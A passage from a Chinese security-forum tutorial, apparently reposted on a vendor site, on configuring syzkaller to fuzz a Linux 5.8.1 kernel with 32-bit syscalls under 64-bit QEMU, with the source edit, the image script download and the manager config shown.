                "console=ttyS0",  
        },  
},

修改为:

"linux/386": {  
        Qemu:   "qemu-system-x86\_64",  
        NetDev: "e1000",  
        RngDev: "virtio-rng-pci",  
        CmdLine: \[\]string{  
                "root=/dev/sda",  
                "console=ttyS0",  
        },  
},

修改完成后需要重新编译syzkaller,编译完成后直接运行就好。

运行之前需要写一些syzkaller的配置文件,并下载镜像文件。

wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh
{  
    "target": "linux/386",  
    "http": "0.0.0.0:8080",  
    "workdir": "/root/image/ip6/",  
    "kernel\_obj": "/root/linux-5.8.1/",  
    "image": "/root/image/bullseye.img",  
    "sshkey": "/root/image/bullseye.id\_rsa",  
    "syzkaller": "/root/syzkaller",  
    "procs": 2,  
    "type": "qemu",  
    "vm": {  
        "count": 6,  
        "kernel": "/root/linux-5.8.1/arch/x86/boot/bzImage",  
        "cpu": 2,  
        "mem": 1024  
    }  
}

这里target给的是386是因为之前修改了syzkaller源码,所以实际运行的是64位的系统,只不过syzkaller喂的是32位的样本。

下面的目录都是根据实际工作目录填写;count、cpu和mem参数,则分别代表虚拟机数、CPU数和内存大小,这些根据实际物理机配置需要尽可能大一些。

之后就可以使用syz-manager(https://github.com/google/syzkaller/blob/master/docs/usage.md#running)开始fuzz了,这里的config文件则是上面自己修改的config文件。

第一次使用syzkaller可能会有些疑惑,为什么运行一段时间后所有的虚拟机都停了,这是因为syzkaller每隔一段时间就需要验证跑出来的crash,并生成C代码。

总之fuzz时,耐心等待即可。

三  

  

结尾

其实fuzz部分文章去年十一月就差不多完成了,但是因为工作变故,导致拖延了很久,总之最后能发出来就是好的,另外漏洞本身除了fuzz部分还有利用部分,所以此文章应该还有一篇,等有空了就给大家鸽出来吧。

看雪ID:pureGavin

https://bbs.kanxue.com/user-home-777502.htm

*本文为看雪论坛精华文章,由 pureGavin 原创,转载请注明来自看雪社区



# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析

球分享

球点赞

球在看

点击阅读原文查看更多

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2